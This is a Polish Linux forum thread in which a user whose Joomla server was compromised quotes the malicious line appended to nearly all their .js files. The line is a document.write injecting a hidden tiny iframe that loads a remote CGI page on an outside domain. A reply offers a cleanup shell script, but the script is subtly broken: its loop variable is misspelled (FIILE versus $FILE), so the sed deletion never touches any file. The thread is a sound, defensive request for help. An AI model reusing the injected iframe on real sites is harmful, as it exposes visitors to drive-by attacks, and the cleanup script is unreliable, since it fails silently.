Witaj na Forum Linuxiarzy
Zanim zalogujesz się, by pisać na naszym forum, zapoznaj się z kilkoma zasadami savoir-vivre'u w wątku Administracja.
Wątki z problemami zamieszczone w dziale "Przywitaj się" oraz wszelkie reklamy na naszym forum będą usuwane.

Autor Wątek: wyszukiwanie w plikach i kasowanie znalezionych wyników z pliku  (Przeczytany 2656 razy)

Offline babilon82

  • Wiadomości: 3
  • Reputacja: 0
wyszukiwanie w plikach i kasowanie znalezionych wyników z pliku
« dnia: Kwiecień 18, 2013, 02:40:09 pm »
Witam.

Nie wiem czy to właściwe miejsce na moje pytanie i ten temat. Jeśli nie to przepraszam za pomyłkę.

Sprawa wygląda następująco:

Jest serwer www, na nim joomla, przez moją bezmyślność dopuściłem do zainfekowania tego serwera jakimś syfem który dopisał mi praktycznie do wszystkich plików z rozszerzeniem *.js coś takiego:



Code:

document.write('<iframe src="http://jnvzpp.sellClassics.com/geographicallyconquering.cgi?8" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');




Ręczne edytowanie wszystkich plików i kasowanie tego wpisu to mordęga.

Polecenie greep pięknie przeszukuje katalogi czytając zawartość pliku.

Nie mam pojęcia jak miałby wyglądać skrypt bądź składania polecenia które wyszuka wszystkie plik z takim wpisem w środku i wykasuje te wpisy.



Z góry dziękuje za pomoc.
« Ostatnia zmiana: Kwiecień 18, 2013, 02:40:09 pm wysłana przez 161 »

Offline Sajmon

  • Jr. Member
  • **
  • Wiadomości: 61
  • Reputacja: 0
Odp: wyszukiwanie w plikach i kasowanie znalezionych wyników z pliku
« Odpowiedź #1 dnia: Czerwiec 15, 2013, 09:57:11 am »
Post z kwietnia, ale może kiedyś komuś się przyda.



Code:

#!/bin/sh

INFEKT=`tree -fi --noreport | grep .js`

for FIILE in $INFEKT;do
sed -i '/geographicallyconquering/ d' $FILE
done


« Ostatnia zmiana: Czerwiec 15, 2013, 09:57:11 am wysłana przez 612 »